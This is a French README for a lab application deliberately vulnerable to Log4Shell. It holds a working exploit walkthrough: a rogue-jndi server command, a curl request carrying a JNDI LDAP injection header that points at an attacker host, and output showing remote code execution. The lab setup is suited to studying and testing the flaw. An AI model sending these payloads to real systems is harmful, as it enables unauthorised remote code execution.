
# Application exemple log4shell (CVE-2021-44228)
Il s'agit d'une application vulnérable presque copie/similaire à https://github.com/christophetd/log4shell-vulnerable-app
Les principales différences sont l'utilisation de Maven au lieu de Gradle, et l'utilisation de rogue-jndi.
Ce dépôt contient une application web Spring Boot avec Maven vulnérable à CVE-2021-44228, surnommée Log4Shell.
Elle utilise Log4j 2.6.1 et la version JDK 1.8.0_181.
Construisez et exécutez l'application Spring Boot Docker :
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app
git clone https://github.com/veracode-research/rogue-jndicd rogue-jndimvn packagejava -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"Ouvrez un deuxième terminal
curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'Où dans les deux cas 192.168.1.x est votre adresse IP
REMARQUE : n'utilisez pas localhost, utilisez votre adresse IP privée réelle.
Vérifiez maintenant si l'exécution de code à distance (RCE) a réussi :
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
04536dbd1dff vulnerable-app "java -jar demo-0.0.…" 2 minutes ago Up 2 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp gallant_easley
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root tomcat-docbase.8080.4585569232401237075
test_if_rce tomcat.8080.1707298461175346507
Comme vous pouvez le voir, le fichier test_if_rce existe. Cela signifie que l'exécution de code à distance (RCE) a réussi.
Le code et les idées ont été utilisés à partir des dépôts suivants :